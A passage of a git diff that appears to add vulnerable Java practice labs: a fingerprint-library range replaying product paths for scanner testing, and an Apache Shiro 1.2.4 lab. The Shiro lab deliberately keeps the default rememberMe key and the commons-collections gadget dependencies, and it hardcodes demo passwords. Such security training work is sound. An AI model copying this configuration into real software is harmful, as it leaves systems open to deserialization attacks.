org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; + +@Controller +public class FingerprintController { + private final FingerprintCatalogService fingerprintCatalogService; + + public FingerprintController(FingerprintCatalogService fingerprintCatalogService) { + this.fingerprintCatalogService = fingerprintCatalogService; + } + + @GetMapping(value = "/", produces = "text/html;charset=UTF-8") + public String home() { + return "forward:/index.html"; + } + + @GetMapping("/fingerprint") + public String fingerprint() { + return "redirect:/"; + } + + @GetMapping("/sensitive-path") + public String legacySensitivePath() { + return "redirect:/"; + } + + @ResponseBody + @GetMapping("/fingerprint/api/catalog") + public Map catalog( + @RequestParam(value = "dataset", required = false) String dataset, + @RequestParam(value = "matchType", required = false) String matchType, + @RequestParam(value = "q", required = false) String keyword + ) { + Map result = new LinkedHashMap(); + result.put("overview", fingerprintCatalogService.getOverview()); + result.put("items", fingerprintCatalogService.listSummaries(dataset, matchType, keyword)); + return result; + } + + @ResponseBody + @GetMapping("/fingerprint/api/records/{recordId}") + public ResponseEntity record(@PathVariable("recordId") String recordId) { + Map item = fingerprintCatalogService.getRecordDetail(recordId); + if (item == null) { + return ResponseEntity.status(HttpStatus.NOT_FOUND).body(error("record not found", recordId)); + } + return ResponseEntity.ok(item); + } + + @ResponseBody + @GetMapping("/fingerprint/api/sample/{recordId}") + public ResponseEntity sample(@PathVariable("recordId") String recordId) { + Map sample = fingerprintCatalogService.getSample(recordId); + if (sample == null) { + return ResponseEntity.status(HttpStatus.NOT_FOUND).body(error("record not found", recordId)); + } + return ResponseEntity.ok(sample); + } + + @ResponseBody + @PostMapping("/fingerprint/api/match") + public Map match(@RequestBody Map payload) { + return fingerprintCatalogService.match(payload); + } + + @ResponseBody + @PostMapping("/fingerprint/api/reload") + public Map reload() { + return fingerprintCatalogService.reloadCatalog(); + } + + private Map error(String message, Object detail) { + Map result = new LinkedHashMap(); + result.put("success", false); + result.put("message", message); + result.put("detail", detail); + return result; + } +} diff --git a/sensitive_path/src/main/java/com/myapp/FingerprintDataSourceConfig.java b/sensitive_path/src/main/java/com/myapp/FingerprintDataSourceConfig.java new file mode 100644 index 0000000..dc1c20e --- /dev/null +++ b/sensitive_path/src/main/java/com/myapp/FingerprintDataSourceConfig.java @@ -0,0 +1,53 @@ +package com.myapp; + +import com.zaxxer.hikari.HikariDataSource; +import java.nio.file.Files; +import java.nio.file.Path; +import java.nio.file.Paths; +import java.util.ArrayList; +import java.util.List; +import javax.sql.DataSource; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; + +@Configuration +public class FingerprintDataSourceConfig { + + @Bean + public DataSource dataSource(@Value("${fingerprint.db.path:}") String configuredPath) { + Path databasePath = resolveDatabasePath(configuredPath); + HikariDataSource dataSource = new HikariDataSource(); + dataSource.setDriverClassName("org.sqlite.JDBC"); + dataSource.setJdbcUrl("jdbc:sqlite:" + databasePath.toAbsolutePath().normalize()); + dataSource.setMaximumPoolSize(1); + dataSource.setPoolName("fingerprint-sqlite-pool"); + return dataSource; + } + + private Path resolveDatabasePath(String configuredPath) { + List candidates = new ArrayList(); + if (hasText(configuredPath)) { + candidates.add(Paths.get(configuredPath.trim())); + } + + String userDir = System.getProperty("user.dir", "."); + candidates.add(Paths.get(userDir, "src", "main", "resources", "file", "fingerprint-library.db")); + candidates.add(Paths.get(userDir, "target", "classes", "file", "fingerprint-library.db")); + candidates.add(Paths.get(userDir, "sensitive_path", "src", "main", "resources", "file", "fingerprint-library.db")); + candidates.add(Paths.get(userDir, "sensitive_path", "target", "classes", "file", "fingerprint-library.db")); + candidates.add(Paths.get("D:\\JavaVul\\sensitive_path\\src\\main\\resources\\file\\fingerprint-library.db")); + + for (Path candidate : candidates) { + if (candidate != null && Files.exists(candidate)) { + return candidate; + } + } + + throw new IllegalStateException("Fingerprint SQLite database not found. Checked: " + candidates); + } + + private boolean hasText(String value) { + return value != null && !value.trim().isEmpty(); + } +} diff --git a/sensitive_path/src/main/java/com/myapp/FingerprintRecord.java b/sensitive_path/src/main/java/com/myapp/FingerprintRecord.java new file mode 100644 index 0000000..b7a0a14 --- /dev/null +++ b/sensitive_path/src/main/java/com/myapp/FingerprintRecord.java @@ -0,0 +1,130 @@ +package com.myapp; + +public class FingerprintRecord { + private String recordId; + private String dataset; + private String externalId; + private String productName; + private String path; + private String matchType; + private String matchPattern; + private String category; + private String description; + private String sourceName; + private String sourceUrl; + private String contentType; + private String sampleBody; + private Integer hitCount; + + public String getRecordId() { + return recordId; + } + + public void setRecordId(String recordId) { + this.recordId = recordId; + } + + public String getDataset() { + return dataset; + } + + public void setDataset(String dataset) { + this.dataset = dataset; + } + + public String getExternalId() { + return externalId; + } + + public void setExternalId(String externalId) { + this.externalId = externalId; + } + + public String getProductName() { + return productName; + } + + public void setProductName(String productName) { + this.productName = productName; + } + + public String getPath() { + return path; + } + + public void setPath(String path) { + this.path = path; + } + + public String getMatchType() { + return matchType; + } + + public void setMatchType(String matchType) { + this.matchType = matchType; + } + + public String getMatchPattern() { + return matchPattern; + } + + public void setMatchPattern(String matchPattern) { + this.matchPattern = matchPattern; + } + + public String getCategory() { + return category; + } + + public void setCategory(String category) { + this.category = category; + } + + public String getDescription() { + return description; + } + + public void setDescription(String description) { + this.description = description; + } + + public String getSourceName() { + return sourceName; + } + + public void setSourceName(String sourceName) { + this.sourceName = sourceName; + } + + public String getSourceUrl() { + return sourceUrl; + } + + public void setSourceUrl(String sourceUrl) { + this.sourceUrl = sourceUrl; + } + + public String getContentType() { + return contentType; + } + + public void setContentType(String contentType) { + this.contentType = contentType; + } + + public String getSampleBody() { + return sampleBody; + } + + public void setSampleBody(String sampleBody) { + this.sampleBody = sampleBody; + } + + public Integer getHitCount() { + return hitCount; + } + + public void setHitCount(Integer hitCount) { + this.hitCount = hitCount; + } +} diff --git a/sensitive_path/src/main/java/com/myapp/FingerprintReplayFilter.java b/sensitive_path/src/main/java/com/myapp/FingerprintReplayFilter.java new file mode 100644 index 0000000..d1968f1 --- /dev/null +++ b/sensitive_path/src/main/java/com/myapp/FingerprintReplayFilter.java @@ -0,0 +1,68 @@ +package com.myapp; + +import java.io.IOException; +import java.util.Map; +import javax.servlet.FilterChain; +import javax.servlet.ServletException; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import org.springframework.core.Ordered; +import org.springframework.core.annotation.Order; +import org.springframework.stereotype.Component; +import org.springframework.web.filter.OncePerRequestFilter; + +@Component +@Order(Ordered.HIGHEST_PRECEDENCE + 20) +public class FingerprintReplayFilter extends OncePerRequestFilter { + private final FingerprintCatalogService fingerprintCatalogService; + + public FingerprintReplayFilter(FingerprintCatalogService fingerprintCatalogService) { + this.fingerprintCatalogService = fingerprintCatalogService; + } + + @Override + protected boolean shouldNotFilter(HttpServletRequest request) { + String method = request.getMethod(); + if (!"GET".equalsIgnoreCase(method) && !"HEAD".equalsIgnoreCase(method)) { + return true; + } + + String path = normalize(request.getRequestURI()); + return "/".equals(path) + || "/index.html".equals(path) + || "/fingerprint".equals(path) + || "/sensitive-path".equals(path) + || "/error".equals(path) + || path.startsWith("/fingerprint/api/"); + } + + @Override + protected void doFilterInternal(HttpServletRequest request, HttpServletResponse response, FilterChain filterChain) + throws ServletException, IOException { + String path = normalize(request.getRequestURI()); + FingerprintRouteResponse routeResponse = fingerprintCatalogService.buildRouteResponse(path); + if (routeResponse == null) { + filterChain.doFilter(request, response); + return; + } + + response.setStatus(HttpServletResponse.SC_OK); + response.setContentType(routeResponse.getContentType()); + response.setCharacterEncoding("UTF-8"); + for (Map.Entry entry : routeResponse.getHeaders().entrySet()) { + response.setHeader(entry.getKey(), entry.getValue()); + } + response.setHeader("X-Fingerprint-Replay", "sqlite-route"); + response.setContentLength(routeResponse.getBody().length); + if (!"HEAD".equalsIgnoreCase(request.getMethod())) { + response.getOutputStream().write(routeResponse.getBody()); + } + } + + private String normalize(String uri) { + if (uri == null || uri.trim().isEmpty()) { + return "/"; + } + return uri.startsWith("/") ? uri : "/" + uri; + } +} diff --git a/sensitive_path/src/main/java/com/myapp/FingerprintRouteResponse.java b/sensitive_path/src/main/java/com/myapp/FingerprintRouteResponse.java new file mode 100644 index 0000000..0dec942 --- /dev/null +++ b/sensitive_path/src/main/java/com/myapp/FingerprintRouteResponse.java @@ -0,0 +1,29 @@ +package com.myapp; + +import java.util.Collections; +import java.util.LinkedHashMap; +import java.util.Map; + +public class FingerprintRouteResponse { + private final String contentType; + private final byte[] body; + private final Map headers; + + public FingerprintRouteResponse(String contentType, byte[] body, Map headers) { + this.contentType = contentType; + this.body = body == null ? new byte[0] : body; + this.headers = headers == null ? Collections.emptyMap() : new LinkedHashMap(headers); + } + + public String getContentType() { + return contentType; + } + + public byte[] getBody() { + return body; + } + + public Map getHeaders() { + return Collections.unmodifiableMap(headers); + } +} diff --git a/sensitive_path/src/main/java/com/myapp/MyApplication.java b/sensitive_path/src/main/java/com/myapp/MyApplication.java new file mode 100644 index 0000000..ea971cb --- /dev/null +++ b/sensitive_path/src/main/java/com/myapp/MyApplication.java @@ -0,0 +1,11 @@ +package com.myapp; + +import org.springframework.boot.SpringApplication; +import org.springframework.boot.autoconfigure.SpringBootApplication; + +@SpringBootApplication +public class MyApplication { + public static void main(String[] args) { + SpringApplication.run(MyApplication.class, args); + } +} diff --git a/sensitive_path/src/main/resources/application.properties b/sensitive_path/src/main/resources/application.properties new file mode 100644 index 0000000..f9d44a6 --- /dev/null +++ b/sensitive_path/src/main/resources/application.properties @@ -0,0 +1,12 @@ +spring.mvc.pathmatch.matching-strategy=ant_path_matcher +server.port=8080 +server.servlet.encoding.enabled=true +server.servlet.encoding.charset=UTF-8 +server.servlet.encoding.force=true +server.servlet.encoding.force-request=true +server.servlet.encoding.force-response=true +spring.messages.encoding=UTF-8 +spring.datasource.driver-class-name=org.sqlite.JDBC +spring.datasource.hikari.maximum-pool-size=1 +spring.sql.init.mode=never +spring.sql.init.encoding=UTF-8 diff --git a/sensitive_path/src/main/resources/file/fingerprint-library.db b/sensitive_path/src/main/resources/file/fingerprint-library.db new file mode 100644 index 0000000..2ecb1ee Binary files /dev/null and b/sensitive_path/src/main/resources/file/fingerprint-library.db differ diff --git a/sensitive_path/src/main/resources/schema.sql b/sensitive_path/src/main/resources/schema.sql new file mode 100644 index 0000000..438a62a --- /dev/null +++ b/sensitive_path/src/main/resources/schema.sql @@ -0,0 +1,29 @@ +CREATE TABLE IF NOT EXISTS fingerprint_library ( + record_id TEXT PRIMARY KEY, + dataset TEXT NOT NULL, + external_id TEXT, + product_name TEXT NOT NULL, + path TEXT NOT NULL, + match_type TEXT NOT NULL, + match_pattern TEXT NOT NULL, + category TEXT, + description TEXT, + source_name TEXT NOT NULL, + source_url TEXT, + content_type TEXT, + sample_body TEXT, + hit_count INTEGER, + updated_at TEXT NOT NULL +); + +CREATE INDEX IF NOT EXISTS idx_fingerprint_path + ON fingerprint_library(path); + +CREATE INDEX IF NOT EXISTS idx_fingerprint_dataset + ON fingerprint_library(dataset); + +CREATE INDEX IF NOT EXISTS idx_fingerprint_match_type + ON fingerprint_library(match_type); + +CREATE INDEX IF NOT EXISTS idx_fingerprint_product_name + ON fingerprint_library(product_name); diff --git a/sensitive_path/src/main/resources/static/index.html b/sensitive_path/src/main/resources/static/index.html new file mode 100644 index 0000000..3aa6e13 --- /dev/null +++ b/sensitive_path/src/main/resources/static/index.html @@ -0,0 +1,512 @@ + + + + + + 统一指纹库靶场 + + + + +
+
+
+ +
+

统一指纹库靶场

+

SQLite 驱动的真实路径回放与实时匹配环境

+
+
+
运行数据源已统一收敛为 `fingerprint-library.db`
+
+ +
+
+

统一指纹库靶场

+

现在它不再是“敏感目录靶场”,而是统一指纹库靶场。 +当前库里合并了三路数据:项目内 `file` 指纹、`cms.xls` 指纹、`Dayu/Feature.json` 指纹。你可以直接浏览指纹库,也可以点击真实路径回放对应路由,再输入路径和响应内容做实时匹配。

+
指纹库已加载:2884 条记录。
+
+
+
2884总记录数
+
--产品数量
+
--项目内 file 指纹
+
--cms.xls 指纹
+
--Dayu/Feature.json 指纹
+
--唯一路径数
+
+
+ +
+
+
+

指纹库浏览

+

支持按关键字、数据源和匹配类型过滤;路径支持直接点击,方便你用浏览器或扫描器验证真实路由回放。

+
+
+
+ + + + +
+
+ + + + + + + + + + + + + +
产品路径数据源匹配方式说明
加载中...
+
+
+ +
+
+
+

实时匹配

+

输入路径和响应内容,后端会按路径、关键字、请求头关键字和 MD5 规则做实时比对。

+
+
+
+
+
+ + +
+ +
+ +
+

还没有执行匹配。

+
+
+

命中结果

+
暂无结果。
+
+
+
+
+ + + + diff --git a/sensitive_path/tools/build_fingerprint_db.py b/sensitive_path/tools/build_fingerprint_db.py new file mode 100644 index 0000000..dea30b0 --- /dev/null +++ b/sensitive_path/tools/build_fingerprint_db.py @@ -0,0 +1,235 @@ +import json +import sqlite3 +from datetime import datetime, timezone +from pathlib import Path + +import xlrd + + +ROOT = Path(__file__).resolve().parents[1] +FILE_DIR = ROOT / "src" / "main" / "resources" / "file" +IMPORT_DIR = ROOT / "src" / "main" / "resources" / "import" +DB_PATH = FILE_DIR / "fingerprint-library.db" +CMS_XLS = IMPORT_DIR / "cms.xls" +DAYU_JSON = IMPORT_DIR / "Dayu-Feature.json" +CMS_SOURCE_URL = "https://github.com/r0eXpeR/fingerprint/blob/main/CMS%E6%8C%87%E7%BA%B9/cms.xls" +DAYU_SOURCE_URL = "https://github.com/r0eXpeR/fingerprint/blob/main/Dayu/Feature.json" + + +def now_iso(): + return datetime.now(timezone.utc).isoformat() + + +def normalize_path(value): + text = str(value or "").strip() + if not text: + return "/" + return text if text.startswith("/") else "/" + text + + +def ensure_schema(conn): + conn.executescript( + """ + DROP TABLE IF EXISTS fingerprint_library; + CREATE TABLE fingerprint_library ( + record_id TEXT PRIMARY KEY, + dataset TEXT NOT NULL, + external_id TEXT, + product_name TEXT NOT NULL, + path TEXT NOT NULL, + match_type TEXT NOT NULL, + match_pattern TEXT NOT NULL, + category TEXT, + description TEXT, + source_name TEXT NOT NULL, + source_url TEXT, + content_type TEXT, + sample_body TEXT, + hit_count INTEGER, + updated_at TEXT NOT NULL + ); + + CREATE INDEX idx_fingerprint_path ON fingerprint_library(path); + CREATE INDEX idx_fingerprint_dataset ON fingerprint_library(dataset); + CREATE INDEX idx_fingerprint_match_type ON fingerprint_library(match_type); + CREATE INDEX idx_fingerprint_product_name ON fingerprint_library(product_name); + """ + ) + + +def insert_record(conn, record): + conn.execute( + """ + INSERT INTO fingerprint_library ( + record_id, dataset, external_id, product_name, path, match_type, match_pattern, + category, description, source_name, source_url, content_type, sample_body, hit_count, updated_at + ) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?) + """, + ( + record["record_id"], + record["dataset"], + record.get("external_id"), + record["product_name"], + record["path"], + record["match_type"], + record["match_pattern"], + record.get("category"), + record.get("description"), + record["source_name"], + record.get("source_url"), + record.get("content_type"), + record.get("sample_body"), + record.get("hit_count"), + record["updated_at"], + ), + ) + + +def build_local_json_records(): + records = [] + for json_file in sorted(FILE_DIR.glob("*.json")): + item = json.loads(json_file.read_text(encoding="utf-8")) + external_id = json_file.stem + path = normalize_path(item.get("path")) + records.append( + { + "record_id": f"local-json:{external_id}", + "dataset": "local-json", + "external_id": external_id, + "product_name": item.get("sourceName") or item.get("category") or external_id, + "path": path, + "match_type": "path_exact", + "match_pattern": path, + "category": item.get("category"), + "description": item.get("description"), + "source_name": item.get("sourceName") or "Local JSON fingerprint", + "source_url": item.get("sourceUrl"), + "content_type": item.get("contentType"), + "sample_body": item.get("body"), + "hit_count": None, + "updated_at": now_iso(), + } + ) + return records + + +def build_cms_records(): + records = [] + workbook = xlrd.open_workbook(str(CMS_XLS)) + sheet = workbook.sheet_by_index(0) + headers = [sheet.cell_value(0, idx) for idx in range(sheet.ncols)] + index = {name: idx for idx, name in enumerate(headers)} + for row_idx in range(1, sheet.nrows): + row = [sheet.cell_value(row_idx, idx) for idx in range(sheet.ncols)] + external_id = str(int(float(row[index["finger_id"]]))) if row[index["finger_id"]] != "" else "" + product_name = str(row[index["cms_name"]]).strip() + path = normalize_path(row[index["path"]]) + pattern = str(row[index["match_pattern"]]).strip() + match_type = str(row[index["options"]]).strip().lower() + hit_raw = row[index["hit"]] + hit_count = int(float(hit_raw)) if hit_raw != "" else None + if not all([external_id, product_name, path, pattern, match_type]): + continue + sample_body = None + if match_type == "keyword": + sample_body = f"{pattern}" + elif match_type == "md5": + sample_body = f"fingerprint_md5={pattern}" + records.append( + { + "record_id": f"cms-xls:{external_id}", + "dataset": "cms-xls", + "external_id": external_id, + "product_name": product_name, + "path": path, + "match_type": match_type, + "match_pattern": pattern.lower(), + "category": "cms", + "description": "Imported from cms.xls fingerprint library", + "source_name": "r0eXpeR fingerprint cms.xls", + "source_url": CMS_SOURCE_URL, + "content_type": None, + "sample_body": sample_body, + "hit_count": hit_count, + "updated_at": now_iso(), + } + ) + return records + + +def dayu_match_type(type_id): + mapping = { + 1: "md5", + 2: "keyword", + 3: "header_keyword", + } + return mapping.get(type_id, "keyword") + + +def build_dayu_records(): + records = [] + data = json.loads(DAYU_JSON.read_bytes().decode("gbk")) + for item in data: + external_id = str(item.get("id", "")).strip() + product_name = str(item.get("program_name", "")).strip() + path = normalize_path(item.get("url")) + pattern = str(item.get("recognition_content", "")).strip() + match_type = dayu_match_type(int(item.get("recognitionType_id", 0))) + if not all([external_id, product_name, path, pattern]): + continue + sample_body = None + if match_type == "keyword": + sample_body = f"{pattern}" + elif match_type == "header_keyword": + sample_body = f"header_keyword={pattern}" + elif match_type == "md5": + sample_body = f"fingerprint_md5={pattern.lower()}" + records.append( + { + "record_id": f"dayu-feature:{external_id}", + "dataset": "dayu-feature", + "external_id": external_id, + "product_name": product_name, + "path": path, + "match_type": match_type, + "match_pattern": pattern.lower() if match_type == "md5" else pattern, + "category": item.get("manufacturerName"), + "description": "Imported from Dayu Feature.json", + "source_name": item.get("manufacturerName") or "Dayu Feature.json", + "source_url": item.get("manufacturerUrl") or DAYU_SOURCE_URL, + "content_type": None, + "sample_body": sample_body, + "hit_count": None, + "updated_at": now_iso(), + } + ) + return records + + +def main(): + FILE_DIR.mkdir(parents=True, exist_ok=True) + records = [] + records.extend(build_local_json_records()) + records.extend(build_cms_records()) + records.extend(build_dayu_records()) + + conn = sqlite3.connect(DB_PATH) + try: + ensure_schema(conn) + for record in records: + insert_record(conn, record) + conn.commit() + summary = { + "database": str(DB_PATH), + "total": len(records), + "local-json": len([r for r in records if r["dataset"] == "local-json"]), + "cms-xls": len([r for r in records if r["dataset"] == "cms-xls"]), + "dayu-feature": len([r for r in records if r["dataset"] == "dayu-feature"]), + } + print(json.dumps(summary, ensure_ascii=False, indent=2)) + finally: + conn.close() + + +if __name__ == "__main__": + main() diff --git a/shior-1.2.4/Dockerfile b/shior-1.2.4/Dockerfile new file mode 100644 index 0000000..fdc38ab --- /dev/null +++ b/shior-1.2.4/Dockerfile @@ -0,0 +1,10 @@ +FROM wushangleon/java:jdk8u112_maven as builder + +COPY . /opt/shior +WORKDIR /opt/shior +RUN mvn package -DskipTests + +FROM wushangleon/java:jdk8u112 +COPY --from=builder /opt/shior/target/shior-1.2.4-1.0-SNAPSHOT.jar /opt/app.jar +EXPOSE 8080 +CMD ["java", "-jar", "/opt/app.jar"] diff --git a/shior-1.2.4/Dockerfile_local b/shior-1.2.4/Dockerfile_local new file mode 100644 index 0000000..b910968 --- /dev/null +++ b/shior-1.2.4/Dockerfile_local @@ -0,0 +1,4 @@ +FROM wushangleon/java:jdk8u112 +COPY target/shior-1.2.4-1.0-SNAPSHOT.jar /opt/app.jar +EXPOSE 8080 +CMD ["java", "-jar", "/opt/app.jar"] diff --git a/shior-1.2.4/docker-compose.yaml b/shior-1.2.4/docker-compose.yaml new file mode 100644 index 0000000..bc2c2bd --- /dev/null +++ b/shior-1.2.4/docker-compose.yaml @@ -0,0 +1,9 @@ +version: "3.8" + +services: + app: + build: + context: . + dockerfile: Dockerfile + ports: + - "8080:8080" diff --git a/microservice-a-service/pom.xml b/shior-1.2.4/pom.xml similarity index 57% rename from microservice-a-service/pom.xml rename to shior-1.2.4/pom.xml index e6d37e5..556bf94 100644 --- a/microservice-a-service/pom.xml +++ b/shior-1.2.4/pom.xml @@ -5,45 +5,53 @@ 4.0.0 org.example - microservice-a-service + shior-1.2.4 1.0-SNAPSHOT - 8 - 8 + 1.8 + 1.8 + 1.8 org.springframework.boot spring-boot-starter-parent - 2.5.9 + 1.5.22.RELEASE - - org.springframework.cloud - spring-cloud-starter-netflix-eureka-client - org.springframework.boot spring-boot-starter-web - RELEASE - compile + + + org.apache.shiro + shiro-spring + 1.2.4 + + + commons-beanutils + commons-beanutils + 1.9.2 + + + commons-collections + commons-collections + 3.2.1 + + + org.apache.commons + commons-collections4 + 4.0 + + + commons-logging + commons-logging + 1.2 - - - - org.springframework.cloud - spring-cloud-dependencies - 2020.0.4 - pom - import - - - - @@ -53,7 +61,7 @@ org.apache.maven.plugins maven-compiler-plugin - 3.1 + 3.1 1.8 1.8 @@ -62,13 +70,13 @@ org.apache.maven.plugins maven-resources-plugin - 3.0.2 + 3.0.2 org.apache.maven.plugins maven-jar-plugin - 2.4 + 2.4 - \ No newline at end of file + diff --git a/shior-1.2.4/src/main/java/com/myapp/MyApplication.java b/shior-1.2.4/src/main/java/com/myapp/MyApplication.java new file mode 100644 index 0000000..ea971cb --- /dev/null +++ b/shior-1.2.4/src/main/java/com/myapp/MyApplication.java @@ -0,0 +1,11 @@ +package com.myapp; + +import org.springframework.boot.SpringApplication; +import org.springframework.boot.autoconfigure.SpringBootApplication; + +@SpringBootApplication +public class MyApplication { + public static void main(String[] args) { + SpringApplication.run(MyApplication.class, args); + } +} diff --git a/shior-1.2.4/src/main/java/com/myapp/config/ShiroConfig.java b/shior-1.2.4/src/main/java/com/myapp/config/ShiroConfig.java new file mode 100644 index 0000000..1d18dff --- /dev/null +++ b/shior-1.2.4/src/main/java/com/myapp/config/ShiroConfig.java @@ -0,0 +1,99 @@ +package com.myapp.config; + +import com.myapp.support.ShiroWeakKeySupport; +import org.apache.shiro.mgt.SecurityManager; +import org.apache.shiro.realm.Realm; +import org.apache.shiro.realm.SimpleAccountRealm; +import org.apache.shiro.spring.LifecycleBeanPostProcessor; +import org.apache.shiro.spring.security.interceptor.AuthorizationAttributeSourceAdvisor; +import org.apache.shiro.spring.web.ShiroFilterFactoryBean; +import org.apache.shiro.web.mgt.CookieRememberMeManager; +import org.apache.shiro.web.mgt.DefaultWebSecurityManager; +import org.apache.shiro.web.servlet.SimpleCookie; +import org.springframework.boot.web.servlet.FilterRegistrationBean; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import org.springframework.web.filter.DelegatingFilterProxy; + +import javax.servlet.DispatcherType; +import java.util.LinkedHashMap; +import java.util.Map; + +@Configuration +public class ShiroConfig { + + @Bean + public Realm realm() { + SimpleAccountRealm realm = new SimpleAccountRealm(); + realm.addAccount("admin", "admin123", "admin"); + realm.addAccount("user", "user123", "user"); + return realm; + } + + @Bean + public CookieRememberMeManager rememberMeManager() { + CookieRememberMeManager rememberMeManager = new CookieRememberMeManager(); + SimpleCookie cookie = new SimpleCookie("rememberMe"); + cookie.setHttpOnly(true); + cookie.setMaxAge(7 * 24 * 60 * 60); + rememberMeManager.setCookie(cookie); + rememberMeManager.setCipherKey(ShiroWeakKeySupport.DEFAULT_KEY_BYTES); + return rememberMeManager; + } + + @Bean + public SecurityManager securityManager(Realm realm, CookieRememberMeManager rememberMeManager) { + DefaultWebSecurityManager securityManager = new DefaultWebSecurityManager(); + securityManager.setRealm(realm); + securityManager.setRememberMeManager(rememberMeManager); + return securityManager; + } + + @Bean(name = "shiroFilter") + public ShiroFilterFactoryBean shiroFilter(SecurityManager securityManager) { + ShiroFilterFactoryBean factoryBean = new ShiroFilterFactoryBean(); + factoryBean.setSecurityManager(securityManager); + factoryBean.setLoginUrl("/login-page"); + factoryBean.setSuccessUrl("/profile"); + factoryBean.setUnauthorizedUrl("/login-page"); + + Map filterChainDefinitionMap = new LinkedHashMap(); + filterChainDefinitionMap.put("/", "anon"); + filterChainDefinitionMap.put("/login-page", "anon"); + filterChainDefinitionMap.put("/shiro-1.2.4", "anon"); + filterChainDefinitionMap.put("/login", "anon"); + filterChainDefinitionMap.put("/rememberme/check", "anon"); + filterChainDefinitionMap.put("/rememberme/dictionary", "anon"); + filterChainDefinitionMap.put("/rememberme/scan", "anon"); + filterChainDefinitionMap.put("/health", "anon"); + filterChainDefinitionMap.put("/logout", "logout"); + filterChainDefinitionMap.put("/**", "user"); + factoryBean.setFilterChainDefinitionMap(filterChainDefinitionMap); + return factoryBean; + } + + @Bean + public FilterRegistrationBean shiroFilterRegistration() { + FilterRegistrationBean registration = new FilterRegistrationBean(); + DelegatingFilterProxy filterProxy = new DelegatingFilterProxy("shiroFilter"); + filterProxy.setTargetFilterLifecycle(true); + registration.setFilter(filterProxy); + registration.addUrlPatterns("/*"); + registration.setDispatcherTypes(DispatcherType.REQUEST, DispatcherType.FORWARD, DispatcherType.INCLUDE, DispatcherType.ERROR); + registration.setName("shiroFilter"); + registration.setOrder(1); + return registration; + } + + @Bean + public LifecycleBeanPostProcessor lifecycleBeanPostProcessor() { + return new LifecycleBeanPostProcessor(); + } + + @Bean + public AuthorizationAttributeSourceAdvisor authorizationAttributeSourceAdvisor(SecurityManager securityManager) { + AuthorizationAttributeSourceAdvisor advisor = new AuthorizationAttributeSourceAdvisor(); + advisor.setSecurityManager(securityManager); + return advisor; + } +} diff --git a/shior-1.2.4/src/main/java/com/myapp/controller/ShiroController.java b/shior-1.2.4/src/main/java/com/myapp/controller/ShiroController.java new file mode 100644 index 0000000..f7166a6 --- /dev/null +++ b/shior-1.2.4/src/main/java/com/myapp/controller/ShiroController.java @@ -0,0 +1,246 @@ +package com.myapp.controller; + +import com.myapp.support.ShiroWeakKeySupport; +import org.apache.shiro.SecurityUtils; +import org.apache.shiro.authc.AuthenticationException; +import org.apache.shiro.authc.UsernamePasswordToken; +import org.apache.shiro.subject.Subject; +import org.apache.shiro.web.mgt.CookieRememberMeManager; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.RestController; + +import java.util.LinkedHashMap; +import java.util.List; +import java.util.Map; + +@RestController +public class ShiroController { + + private final CookieRememberMeManager rememberMeManager; + + public ShiroController(CookieRememberMeManager rememberMeManager) { + this.rememberMeManager = rememberMeManager; + } + + @GetMapping(value = {"/", "/login-page", "/shiro-1.2.4"}, produces = "text/html;charset=UTF-8") + public String index() { + return "\n" + + "\n" + + "\n" + + " \n" + + " \n" + + " Apache Shiro 1.2.4 测试页\n" + + " \n" + + "\n" + + "\n" + + "
\n" + + "
\n" + + "

Apache Shiro 1.2.4 RememberMe 测试页

\n" + + "

这个靶场保留了 Shiro 1.2.4 的 rememberMe 漏洞配置,并增加了一个本地弱 key 检测面板,检测字典直接来自你提供的 shiro-exploit 脚本。

\n" + + "
    \n" + + "
  • 演示用户:user / user123
  • \n" + + "
  • 演示管理员:admin / admin123
  • \n" + + "
  • 默认 Shiro key:" + ShiroWeakKeySupport.DEFAULT_KEY + "
  • \n" + + "
\n" + + "
\n" + + "
\n" + + "

弱 Key 检测

\n" + + "

检测逻辑会从当前运行中的 CookieRememberMeManager 里读取 rememberMe 实际密钥,再和 shiro-exploit 脚本中的完整 key 字典进行比对。

\n" + + "
\n" + + " \n" + + " \n" + + " \n" + + "
\n" + + "
等待检测...
\n" + + "

当前 rememberMe key

\n" + + "
-
\n" + + "

遍历进度

\n" + + "
等待开始...
\n" + + "

脚本 Key 字典

\n" + + " \n" + + "
\n" + + "
\n" + + "

RememberMe 登录验证

\n" + + "
\n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + "
\n" + + " \n" + + " \n" + + " \n" + + " \n" + + "
\n" + + "
\n" + + "
\n" + + "
\n" + + " \n" + + "\n" + + ""; + } + + @PostMapping(value = "/login", produces = "text/plain;charset=UTF-8") + public String login(@RequestParam String username, + @RequestParam String password, + @RequestParam(defaultValue = "false") boolean rememberMe) { + Subject subject = SecurityUtils.getSubject(); + UsernamePasswordToken token = new UsernamePasswordToken(username, password, rememberMe); + try { + subject.login(token); + return "登录成功,rememberMe=" + rememberMe + "。你可以访问 /profile 查看当前 subject 状态。"; + } catch (AuthenticationException ex) { + return "登录失败:" + ex.getMessage(); + } + } + + @GetMapping(value = "/rememberme/check", produces = "application/json;charset=UTF-8") + public Map rememberMeCheck() { + String currentKey = ShiroWeakKeySupport.extractCurrentKeyBase64(rememberMeManager); + List dictionary = ShiroWeakKeySupport.SCRIPT_KEYS; + boolean inDictionary = currentKey != null && dictionary.contains(currentKey); + boolean isDefaultKey = ShiroWeakKeySupport.DEFAULT_KEY.equals(currentKey); + Integer matchIndex = currentKey == null ? null : dictionary.indexOf(currentKey); + + Map result = new LinkedHashMap(); + result.put("currentKey", currentKey); + result.put("inDictionary", inDictionary); + result.put("isDefaultKey", isDefaultKey); + result.put("matchIndex", matchIndex >= 0 ? matchIndex : null); + result.put("dictionarySize", dictionary.size()); + result.put("message", buildMessage(currentKey, inDictionary, isDefaultKey)); + return result; + } + + @GetMapping(value = "/rememberme/dictionary", produces = "application/json;charset=UTF-8") + public Map rememberMeDictionary() { + Map result = new LinkedHashMap(); + result.put("keys", ShiroWeakKeySupport.SCRIPT_KEYS); + return result; + } + + @GetMapping(value = "/rememberme/scan", produces = "application/json;charset=UTF-8") + public Map rememberMeScan() 